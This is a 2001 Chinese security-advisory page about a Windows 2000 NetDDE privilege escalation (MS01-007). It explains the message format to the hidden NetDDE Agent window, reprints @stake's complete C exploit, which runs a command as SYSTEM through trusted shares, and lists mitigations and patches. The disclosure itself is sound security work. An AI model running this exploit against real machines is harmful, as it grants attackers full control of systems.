首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第18期->最新漏洞
期刊号: 类型: 关键词:
Win2000 NetDDE消息权限提升漏洞

日期:2001-02-05

受影响的系统:  
    Microsoft Windows 2000 Professional
    Microsoft Windows 2000 Server
    Microsoft Windows 2000 Advanced Server
描述:
--------------------------------------------------------------------------------


BUGTRAQ ID : 2341

网络动态数据交换(Network Dynamic Data Exchange)是一种在不同的Windows机器上的
应用程序之间动态共享数据的技术。这种共享是通过名为受信任共享(trusted shares)
的通信通道来完成的,受信任共享由网络DDE代理服务来管理。本地机器上的进程可以向网
络DDE代理发出请求,包括指定针对某个特定的受信任共享应该运行什么应用程序。但是由
于网络DDE代理运行在本地系统用户的安全上下文中并在此安全上下文中处理所有请求,因
此攻击者就有机会让网络DDE代理在本地系统用户的安全上下文中执行其指定的代码,从而
提升权限并完全控制本地机器。

细节描述如下:

Network DDE DSDM(DDE Share Database Manager)服务负责维护所有活动的网络DDE
共享的一个列表并管理NetDDE连接。当该服务启动时,在当前登录用户的桌面上将创建一
个隐藏的IPC窗口,用来与打开了DDE特性的应用程序进行通信。该窗口所处理的消息及其
格式未在正式文档中描述。

窗口的名字是“NetDDE Agent”,类名是“NDDEAgent”。由于窗口是由WINLOGON创建的,
窗口过程将运行在WINLOGON的进程空间中,它以SYSTEM的权限来处理消息。该窗口所处理
的消息之一是“WM_COPYDATA”消息,DDE用该消息将一块内存从一个进程传递给另一个进
程。绝大多数窗口间通信通常是由PostMessage( )来完成的,但WM_COPYDATA消息却是由SendMessage( )函数来发送的,并由底层的消息子系统(CSRSS)作为一种特殊情况进行
处理。

通过该消息发送给隐藏窗口的结构具有如下格式:
4 字节 - E1 DD E1 DD  (魔数: 0xDDE1DDE1)
4 字节 - 01 00 00 00  (未知: 0x00000001)
4 字节 - 01 00 00 00  (未知: 0x00000001)
8 字节 - 05 00 00 09
         00 00 00 01  (DDE Share Mod Id)
4 bytes - CC CC CC CC  (未知: 未使用?)
ASCIIZ  - "SHARENAME$" (以NULL结尾的串: DDE受信任的共享名)
ASCIIZ  - "cmd.exe"    (以NULL结尾的串: DDE服务器启动命令)

当上述缓冲区传递给窗口过程时,它将首先检查3个魔数(即前12个字节)的值,如果与
上述的值不同,则消息处理过程将返回一个错误。否则就取出两个ASCIIZ串并将其转换成
Unicode串,然后检查共享名以确保它存在并且是一个受信任的共享。

由于默认情况下在系统中存在几个受信任共享,因此可以对其进行穷举,对每个共享名都
尝试运行命令直到找到一个受信任的共享。“DDE Share Mod ID”将和上述结构中的对
应的数进行比较,如果相等则将在WINLOGON进程的上下文中执行上述第二个ASCIIZ串所
指定的命令,因此将创建一个继承了SYSTEM进程令牌的进程。“DDE Share Mod Id”本
应是一个相对随机的8字节数,但实际上却一直是个常数0x0100000009000005。

<* 来源:DilDog (dildog@atstake.com)
         Microsoft Security Bulletin (MS01-007)
*>




测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



首先确保已经运行了Network DDE DSDM,然后执行如下代码:
http://www.atstake.com/research/advisories/2001/netddemsg.cpp

// Copyright 2001 @stake, Inc. All rights reserved.

#include<windows.h>
#include<stdio.h>
#include<nddeapi.h>

void NDDEError(UINT err)
{
    char error[256];
    NDdeGetErrorString(err,error,256);
    MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
    exit(err);
}

void *BuildNetDDEPacket(const char *svShareName, const char *svCmdLine, int *pBufLen)
{
    // Build NetDDE message
    int cmdlinelen=strlen(svCmdLine);
    int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;
    char *funky=(char *)malloc(funkylen);
    if(funky==NULL) {
        MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
        return NULL;
    }
    
    funky[0x00]=(char)0xE1;    
    funky[0x01]=(char)0xDD;
    funky[0x02]=(char)0xE1;
    funky[0x03]=(char)0xDD;    // 0xDDE1DDE1 (magic number)

    funky[0x04]=(char)0x01;
    funky[0x05]=(char)0x00;
    funky[0x06]=(char)0x00;
    funky[0x07]=(char)0x00; // 0x00000001 (?)

    funky[0x08]=(char)0x01;
    funky[0x09]=(char)0x00;
    funky[0x0A]=(char)0x00;
    funky[0x0B]=(char)0x00; // 0x00000001 (?)
    
    funky[0x0C]=(char)0x05; // ShareModId
    funky[0x0D]=(char)0x00;
    funky[0x0E]=(char)0x00;
    funky[0x0F]=(char)0x09;
    funky[0x10]=(char)0x00;
    funky[0x11]=(char)0x00;
    funky[0x12]=(char)0x00;
    funky[0x13]=(char)0x01;

    funky[0x14]=(char)0xCC;    // unused (?)
    funky[0x15]=(char)0xCC;
    funky[0x16]=(char)0xCC;
    funky[0x17]=(char)0xCC;

    memcpy(funky+0x18,svShareName,strlen(svShareName)+1);        // Share name
    memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1);    // Command line to execute

    *pBufLen=funkylen;
    return funky;
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nShow)
{
    // Check command line
    int cmdlinelen;
    if(lpCmdLine==NULL || lpCmdLine[0]=='\0') {
        MessageBox(NULL,"Syntax is: netddmsg [-s sharename] <command line>","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
        return -1;
    }
    cmdlinelen=strlen(lpCmdLine);
    
    char *szShare=NULL;
    char *szCmdLine=lpCmdLine;
    if(strncmp(lpCmdLine,"-s",2)==0) {
        szShare=lpCmdLine+2;
        while ((*szShare)==' ')
            szShare++;
        char *szEnd=strchr(szShare,' ');
        if(szEnd==NULL) {
            MessageBox(NULL,"You must specify a command to run.","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
            return -1;
        }
        szCmdLine=szEnd+1;
        *szEnd='\0';
    }

    // Get NetDDE Window
    HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent");
    if(hwnd==NULL) {
        MessageBox(NULL,"Couldn't find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
        return -1;
    }

    // Get computer name
    DWORD dwSize=256;
    char svCompName[256];
    GetComputerName(svCompName,&dwSize);

    // Get list of shares to try
    char *sharename,*sharenames;
    if(szShare==NULL) {
        // Try all shares
        UINT err;
        DWORD dwNumShares;
        // deep check otgpdvt
        err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize);
        if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) {
            NDDEError(err);
        }
        sharenames=(char *)malloc(dwSize);
        err=NDdeShareEnum(svCompName,0,(LPBYTE) sharenames,dwSize,&dwNumShares,&dwSize);
        if(err!=NDDE_NO_ERROR) {
            NDDEError(err);
        }
    } else {
        // Try command line share
        sharenames=(char *)malloc(strlen(szShare)+2);
        memset(sharenames,'0',strlen(szShare)+2);
        strcpy(sharenames,szShare);
    }
    
    // Try all shares
    for(sharename=sharenames;(*sharename)!='\0';sharename+=(strlen(sharename)+1)) {
        
        // Ask user
        if(szShare==NULL) {
            char svPrompt[256];
            _snprintf(svPrompt,256,"Try command through the '%s' share?",sharename);
            if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO)
                continue;
        }

        // Get NetDDE packet
        void *funky;
        int funkylen;
        funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen);
        if(funky==NULL)
            return -1;
    
        // Perform CopyData
        COPYDATASTRUCT cds;
        cds.cbData=funkylen;
        cds.dwData=0;
        cds.lpData=(PVOID)funky;
        SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);
    
        // Free memory
        free(funky);

    }

    // Free memory
    free(sharenames);
    
    return 0;
}



--------------------------------------------------------------------------------
建议:

临时解决办法:

1、禁止DDE共享。但有些必须使用DDE共享的程序可能无法正常工作。
2、以管理员身份运行ddeshare.exe,删除不必要的受信任共享,默认有
Chat$ (Microsoft Chat),CLPBK$(Clipbook),Hearts$(Microsoft Hearts)。

厂商补丁:

微软已经为此发布了一个安全公告以及相关补丁。
微软安全公告(MS01-007):
http://www.microsoft.com/technet/security/bulletin/MS01-007.asp

补丁下载:
英文版: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27526
中文版: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27530

本补丁可用于Windows 2000 Gold,Service Pack 1,Service Pack 2,并将包
含在Service Pack 3中。



版权所有,未经许可,不得转载